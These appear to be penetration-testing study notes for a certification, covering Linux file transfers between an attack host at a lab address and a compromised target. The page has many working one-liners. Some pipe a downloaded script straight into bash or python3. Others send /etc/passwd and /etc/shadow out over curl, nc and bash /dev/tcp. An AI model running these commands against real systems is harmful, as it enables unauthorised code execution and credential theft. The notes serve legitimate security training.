Linux Transfers
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Download with wget or curl first. Without either, use bash /dev/tcp or nc against a listener on your attack host. With SSH credentials, scp from your attack host moves files both ways. Upload with curl -F to uploadserver, or start a web server on the target and download from it.
The servers are in Serving Files. The curl and wget flags are in Requests and Transfer.
Download
wget and curl
wget http://10.10.14.20/linpeas.sh -O /dev/shm/linpeas.sh # download with wgetcurl http://10.10.14.20/linpeas.sh -o /dev/shm/linpeas.sh # download with curlMake it executable:
chmod +x /dev/shm/linpeas.sh # set the execute bitRun a script in memory, with no copy on disk:
curl -s http://10.10.14.20/linpeas.sh | bash # run a shell scriptwget -qO- http://10.10.14.20/script.py | python3 # run a Python script-qO- makes wget quiet and writes the file to standard output.
bash /dev/tcp
Bash opens a TCP connection when a command reads from or writes to /dev/tcp/<host>/<port>. It needs no other tool. The path exists only inside bash, so sh and dash fail.
Serve the file from a listener on your attack host:
nc -lvnp 443 -q 0 < linpeas.sh # send the file to the first connectionRead it on the target:
cat < /dev/tcp/10.10.14.20/443 > /dev/shm/linpeas.sh # save the file from the listener-q 0 closes the connection after it sends the file. Without it the target waits for more data. The close flag differs per netcat version (see the table below).
Over HTTP, /dev/tcp also reads from your web server:
exec 3<>/dev/tcp/10.10.14.20/80 # open fd 3 for read and writeprintf 'GET /linpeas.sh HTTP/1.0\r\nHost: 10.10.14.20\r\n\r\n' >&3 # send the requestcat <&3 > /dev/shm/linpeas.sh # save the responseThe saved file starts with the HTTP headers. Delete them before you run a script. Use the nc listener for binaries.
nc and ncat
The target can listen or connect. Connect from the target when a firewall blocks inbound traffic.
Target connects to your listener:
nc -lvnp 443 -q 0 < chisel # attack host: send the filenc 10.10.14.20 443 > /dev/shm/chisel # target: save the fileTarget listens and you connect:
nc -lp 8000 > /dev/shm/chisel # target: save the filenc -q 0 $TARGET 8000 < chisel # attack host: send the fileFind the netcat version on a host:
nc -h 2>&1 | head -2 # print the version banner| Version | Listen | Close the connection after the file |
|---|---|---|
Traditional (Kali nc) |
nc -lvnp 443 |
-q 0 |
OpenBSD (Debian and Ubuntu nc) |
nc -lvn 443 |
-N |
Ncat (ncat, the Pwnbox nc) |
ncat -lvnp 443 |
--send-only on the sender, --recv-only on the receiver |
-l listens. -v prints the connection. -n skips DNS. -p sets the port.
scp
With the target’s SSH credentials, copy from your attack host:
scp linpeas.sh user@$TARGET:/dev/shm/ # upload to the targetscp user@$TARGET:/etc/passwd . # download from the target| Flag | Meaning |
|---|---|
-i key |
Logs in with a private key |
-P 2222 |
SSH port. Uppercase P, unlike ssh -p |
-r |
Copies a folder |
-O |
Uses the old SCP protocol. Try it when the copy fails against an old server |
OpenSSH 9.0 and later send scp copies over SFTP by default. -O returns to the old protocol.
Upload
HTTP
To uploadserver:
curl -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' http://10.10.14.20/upload # upload two filesTo Nginx with PUT:
curl -T /etc/passwd http://10.10.14.20:9001/up/passwd.txt # upload with a PUT requestnc and /dev/tcp
Catch the file on your attack host:
nc -lvnp 443 > shadow # save the incoming fileSend it from the target:
nc -q 0 10.10.14.20 443 < /etc/shadow # send with nccat /etc/shadow > /dev/tcp/10.10.14.20/443 # send with bash /dev/tcpWeb server on the target
Start a web server on the target, then download from it. Inbound traffic to the target port must be allowed.
python3 -m http.server 8000 # serve with Python 3python2 -m SimpleHTTPServer 8000 # serve with Python 2php -S 0.0.0.0:8000 # serve with PHPruby -run -ehttpd . -p8000 # serve with Rubybusybox httpd -f -p 8000 # serve with BusyBox, in the foregroundEach serves the current folder on port 8000.
On your attack host:
wget http://$TARGET:8000/backup.tar.gz # download from the targetA web server already on the target serves files too. Copy the file into its web root, for example /var/www/html, and download it.
GTFOBins
GTFOBins lists Linux binaries with download and upload functions. Search +file download or +file upload on the site.
openssl sends a file over TLS, like nc. Start a server on your attack host:
# make a self-signed certificate and keyopenssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -subj '/CN=server' -out cert.pem# send the file to the first TLS connectionopenssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < linpeas.shDownload on the target:
openssl s_client -connect 10.10.14.20:443 -quiet > /dev/shm/linpeas.sh # save the file-quiet hides the session details, so the file holds only the data.